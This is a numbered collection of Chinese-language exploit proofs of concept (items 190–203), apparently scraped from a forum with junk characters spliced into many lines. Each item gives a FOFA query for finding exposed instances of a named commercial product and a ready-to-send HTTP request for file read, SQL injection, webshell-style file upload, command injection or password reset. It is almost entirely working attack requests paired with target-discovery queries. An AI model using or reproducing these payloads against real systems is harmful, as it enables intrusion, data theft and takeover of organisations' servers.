2 C/ X& V% Y; o8 w# J. W' Y

# Y; ?6 ]3 E6 m7 M190. 短视频矩阵营销系统 poihuoqu 任意文件读取
1 [1 a. \/ j; @0 i! i5 pFOFA：title=="短视频矩阵营销系统"
0 l8 \6 \7 J2 @& F# ]) q  O# }POST /index.php/admin/Userinfo/poihuoqu HTTP/2
Host: your-ip
& E0 ?1 V. m! f2 yUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
$ {! L% O. F1 w" x0 nAccept-Language: zh-CN,zh;q=0.9
7 ^5 B" R% n+ e
, M0 P9 N3 o" Y; |* Spoi=file:///etc/passwd
6 _/ g% ~( S& Z  b" ?
! q0 z# n1 h# W. ?) ]$ M
191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
. E6 e8 `) E0 l2 s9 Z1 }8 w* jFOFA：body="/CDGServer3/index.jsp"
POST /CDGServer3/js/../NavigationAjax HTTP/1.1
! q2 o0 x3 z/ n! H$ R6 H+ f* tHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
, B( c0 [8 g7 b7 h7 Y6 s3 {7 K) c
command=nav&id=1'waitfor delay '0:0:5'--+&name=&openId=

9 M' H. l* H4 a4 T. W1 T" v+ x
192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
FOFA：title="用户登录_富通天下外贸ERP"
0 ~) ^! r. _0 C: x- `  K5 HPOST /JoinfApp/EMail/UploadEmailAttr?name=.ashx HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
- r8 b/ @! I6 v& r- `9 {6 jContent-Type: application/x-www-form-urlencoded


" ]3 p8 H$ q! n5 E! m: F2 u<% @ webhandler language="C#" class="AverageHandler" %>
using System;
using System.Web;
; [2 r" [- c. A. i( m+ f$ Dpublic class AverageHandler : IHttpHandler
{
, c. I( j7 X, g& P& B) qpublic bool IsReusable
{ get { return true; } }
public void ProcessRequest(HttpContext ctx)
{
ctx.Response.Write("test");
}
}


193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
: |" D6 k& \5 p. aFOFA：body="山石云鉴主机安全管理系统"
GET /master/ajaxActions/getTokenAction.php HTTP/1.1
Host:
Cookie: PHPSESSID=2333333333333;
% b, g) ]4 W, h% gContent-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0

) I2 E" Q5 ]6 _0 c3 V7 q
4 K# d" ^+ y+ \POST /master/ajaxActions/setSystemTimeAction.php?token_csrf={{token}} HTTP/1.1
Host:
User-Agent: Mozilla/5.0
7 A4 |" P) K' ~: O+ ~# x. PAccept-Encoding: gzip, deflate
* [3 P" u3 H/ P9 a+ Q" g+ x# MAccept: */*
Connection: close
& ^5 _8 v- i, C( _+ C  ?Cookie: PHPSESSID=2333333333333;
1 L6 B6 E' H( s6 x. yContent-Type: application/x-www-form-urlencoded
Content-Length: 84

param=os.system('echo 23333333333456 > /opt/var/majorsec/installation/master/runtime/img/config')


5 `  m" V: d  ~% k$ M. {GET /master/img/config HTTP/1.1
  g9 v- z0 {0 K6 @9 DHost:
User-Agent: Mozilla/5.0


$ y* t/ X3 S" `( g1 D: G194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
FOFA：app="FE-协作平台"访问 /servlet/uploadAttachmentServlet 有返回则漏洞存在

POST /servlet/uploadAttachmentServlet HTTP/1.1
Host: host
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
& y( y6 z( W* }( v4 AAccept-Encoding: gzip, deflate
7 L7 u- h6 u( @* n+ h8 u1 s2 {Connection: close
- {# K1 M7 x9 aContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryKNt0t4vBe8cX9rZk
: [3 M& c9 Z: Q  V, T" b( Y------WebKitFormBoundaryKNt0t4vBe8cX9rZk

Content-Disposition: form-data; name="uploadFile"; filename="../../../../../jboss/web/fe.war/hello.jsp"
6 }8 h7 W7 B# @) h/ p0 G- w* _1 d0 l- C5 hContent-Type: text/plain
<% out.println("hello");%>
------WebKitFormBoundaryKNt0t4vBe8cX9rZk
Content-Disposition: form-data; name="json"
) [4 f: c0 _& f( x! ]4 V {"iq":{"query":{"UpdateType":"mail"}}}
8 V/ {  K' d9 Q7 A3 L------WebKitFormBoundaryKNt0t4vBe8cX9rZk--
! n/ b; F5 G6 f, p; H% \8 ~* i1 |
8 m* V6 _3 i# C
$ E! k' q2 S' j4 a195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
4 z. z. ^6 L- X  Z9 ~: v9 I1 d6 Z. \FOFA：title=="飞鱼星企业级智能上网行为管理系统
POST /send_order.cgi?parameter=operation HTTP/1.1
Host: 127.0.0.1
! V# T. M+ Z5 [8 UPragma: no-cache
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
6 C% N8 V. [* U+ R" f3 ~$ oAccept-Language: zh-CN,zh;q=0.9
. I) ^0 L5 }1 p% G1 [! GConnection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 68

& v( f; z" B2 v4 |{"opid":"777777777777777777","name":";uname -a;echo ","type":"rest"}
" F( z2 n8 k) P9 i8 Y* {1 ^

- ]9 S9 v3 P) O" M9 \( _196. 河南省风速科技统一认证平台密码重置
/ A0 x/ M+ @. X4 wFOFA：body="/cas/themes/zbvc/js/jquery.min.js"
POST /cas/userCtl/resetPasswordBySuper HTTP/1.1
  N6 I+ T: P2 e. K$ u, C9 J, v9 HUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Content-Type: application/json;charset=UTF-8
X-Requested-With: XMLHttpRequest
Host:
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Content-Length: 45
Connection: close

{"xgh":"test","newPass":"test666","email":""}
, Q  ]5 `- S7 _, X" F0 Q4 }* V8 {
( n2 z  Q" u" B" h1 g# `; @. l+ i
% j# ]# r7 T# B
197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
) c- c/ g. T  b6 O  Z4 oFOFA：app="浙大恩特客户资源管理系统"
$ h5 {5 ^; T' s; C) Z9 jGET /entsoft/Quotegask_editAction.entweb;.js?goonumStr=1')+UNION+ALL+SELECT+111*111--+&method=goonumIsExist HTTP/1.1
( ^" t( v" P: X3 A+ s$ MHost:
6 U1 V8 b. U: ]1 z" [User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2656.18 Safari/537.36
  e) Q5 V+ Q& I/ Z3 |+ ^Accept-Encoding: gzip, deflate
Connection: close
4 q2 G1 o% ]6 }

/ ~1 S- y  f" c. y/ N
/ N. [3 a8 V4 Q9 W  Z; ]# c" F198.  阿里云盘 WebDAV 命令注入
1 T# K. g4 l' M) MCVE-2024-29640
/ \( K6 @: E% `7 q2 l  aGET /cgi-bin/luci/admin/services/aliyundrive-webdav/query?sid=%60%6c%73%20%2f%3e%2f%77%77%77%2f%61%61%61%2e%74%78%74%60%20 HTTP/1.1
Cookie: sysauth=41273cb2cffef0bb5d0653592624cf64
3 x: A+ T: I) @+ bAccept: */*
! ~1 a3 I9 W, E) D8 t; uAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
6 N8 D& j$ E, Q) RConnection: close
" T& K' x6 }2 E- c  z9 c
& J. v0 f# {6 l# v
5 n4 S: g" }- G2 e* B  e& e199. cockpit系统assetsmanager_upload接口 文件上传

1.执行poc进行csrf信息获取，并获取cookie，再上传访问得到结果：
5 z. u3 y6 ^  h' T: O9 {- {  x1 ZGET /auth/login?to=/ HTTP/1.1

响应：200，返回值:csfr:"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"
% _% y# N1 G, Z; b2 L
8 X9 h! J, T9 e7 s* [7 ~! N2.使用刚才上一步获取到的jwt获取cookie：
  _) z# u$ K1 ?3 L2 i# I
* q! h! t: s5 \: k" e; \POST /auth/check HTTP/1.1
! U" I$ E; I. p$ _1 DContent-Type: application/json
1 w- C+ _' O0 V+ V; e. [1 |, A. j
{"auth":{"user":"admin","password":"admin"},"csfr":"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"}
6 U4 D. U0 k, N; Y( ~! p1 e. J  [6 ?
8 ?: x- ~$ y6 P响应：200，返回值:
( Q6 ]) ~& T* k2 r1 _3 DSet-Cookie:mysession=95524f01e238bf51bb60d77ede3bea92: path=/
9 y8 S) V  I1 ~* c  @Fofa：title="Authenticate Please!"
POST /assetsmanager/upload HTTP/1.1
# R& z# n/ m  n" p& n5 E$ K6 j5 t& GContent-Type: multipart/form-data; boundary=---------------------------36D28FBc36bd6feE7Fb3
4 |/ l: l8 i$ X4 l3 y! N: OCookie: mysession=95524f01e238bf51bb60d77ede3bea92
9 D, L4 {4 P& O( `5 _
. S/ P  m! K7 {9 s-----------------------------36D28FBc36bd6feE7Fb3
Content-Disposition: form-data; name="files[]"; filename="tttt.php"
; o6 x  V  v8 W9 wContent-Type: text/php

! G5 }; U- Q- H( ]& r<?php echo "tttt";unlink(__FILE__);?>
/ `/ A  E+ b7 Q0 O-----------------------------36D28FBc36bd6feE7Fb3
Content-Disposition: form-data; name="folder"
2 P& D9 I/ j2 O5 ?' }" Y
-----------------------------36D28FBc36bd6feE7Fb3--


/storage/uploads/tttt.php

6 C, q/ p& G; j& z+ S8 p* n200. SeaCMS海洋影视管理系统dmku SQL注入
8 [7 D/ b0 l' S5 _" X3 @& v" {FOFA：app="海洋CMS"
GET /js/player/dmplayer/dmku/?ac=del&id=(select(0)from(select(sleep(5)))v)&type=list HTTP/1.1
Cookie: PHPSESSID=hlfl5flck9q3ng1blehhv86s4s
0 r4 j8 l: @" E3 {" M, k+ SUpgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
, v/ V% I) ?! ^  d: RAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
5 H, z7 [$ P# d* ]" J* W
4 a5 ]  L: A" d. Z1 T! G$ S
201. 方正全媒体新闻采编系统 binary SQL注入
FOFA：body="/newsedit/newsedit/" || app="FOUNDER-全媒体采编系统"
POST /newsedit/newsplan/task/binary.do HTTP/1.1
Content-Type: application/x-www-form-urlencoded
" S: e, g  t! C% T( @Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
  x& c- H* B7 l( B& ?( UAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

0 \2 ]) I* z7 U1 MTableName=DOM_IMAGE+where+REFID%3D-1+union+select+%271%27%3B+WAITFOR+DELAY+%270%3A0%3A5%27%3Bselect+DOM_IMAGE+from+IMG_LARGE_PATH&FieldName=IMG_LARGE_PATH&KeyName=REFID&KeyID=1
# @+ ]1 t* P0 l1 t- [

202. 微擎系统 AccountEdit任意文件上传
- A1 y5 v( n" W$ JFOFA：body="/Widgets/WidgetCollection/"
获取__VIEWSTATE和__EVENTVALIDATION值
GET /User/AccountEdit.aspx HTTP/1.1
Host: 滑板人之家
! O) V* u' X6 J1 oUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/531.36 (KHTML, like Gecko) Chrome/83.0.4103.112 Safari/537.31
Content-Length: 0

; E+ E% N$ k6 R3 p" Y
替换__VIEWSTATE和__EVENTVALIDATION值
* `- k( m. L9 L2 h( g: iPOST /User/AccountEdit.aspx HTTP/1.1
. r: O. J! H3 n  HAccept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data;boundary=---------------------------786435874t38587593865736587346567358735687

: F$ J* Q) ~- i: r) D-----------------------------786435874t38587593865736587346567358735687
: o" m1 [! B" U- w+ v+ ]) \Content-Disposition: form-data; name="__VIEWSTATE"

__VIEWSTATE
-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="__EVENTVALIDATION"

__EVENTVALIDATION
-----------------------------786435874t38587593865736587346567358735687
& h, D' F/ ^* u6 n5 D" g+ rContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$upload"; filename="1123.txt"
Content-Type: text/plain
# S  U' H2 {9 I, k8 `
Hello World!
-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$bttnUpload"

上传图片
-----------------------------786435874t38587593865736587346567358735687
$ `' r3 \1 Y% Z/ lContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtLastName"
7 W0 v( w. Y6 I- \' Z
, N  d1 l* f" v6 v
-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtEmail"
: |/ U" {! I, S$ N- E. _
" j' G1 r: f7 t& z" J8 l
-----------------------------786435874t38587593865736587346567358735687--
# q1 L6 l3 c' D8 U: }8 K; C
9 c1 K, e. z; j
/_data/Uploads/1123.txt
! @: m; U" e& J) p
203. 红海云EHR PtFjk 文件上传
3 I- O6 d3 w* |/ V& a& LFOFA：body="RedseaPlatform"
POST /RedseaPlatform/PtFjk.mob?method=upload HTTP/1.1
5 ~3 U" g) j  W' m# UHost: x.x.x.x
Accept-Encoding: gzip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryt7WbDl1tXogoZys4
2 h( n  G( ~3 D9 l( H7 DContent-Length: 210
9 V" J& B$ q" B2 s7 m- V( z
------WebKitFormBoundaryt7WbDl1tXogoZys4
  U" N- }6 q$ i9 q1 K* u* lContent-Disposition: form-data; name="fj_file"; filename="11.jsp"
- I0 K$ V: G- a/ ]Content-Type:image/jpeg
- R! j# N9 B! O% a
<% out.print("hello,eHR");%>
4 K( X2 m* s0 c9 u: K# Y" U------WebKitFormBoundaryt7WbDl1tXogoZys4--
. Q) z4 |( w, ?' _' J) E



% R+ A$ f; F3 |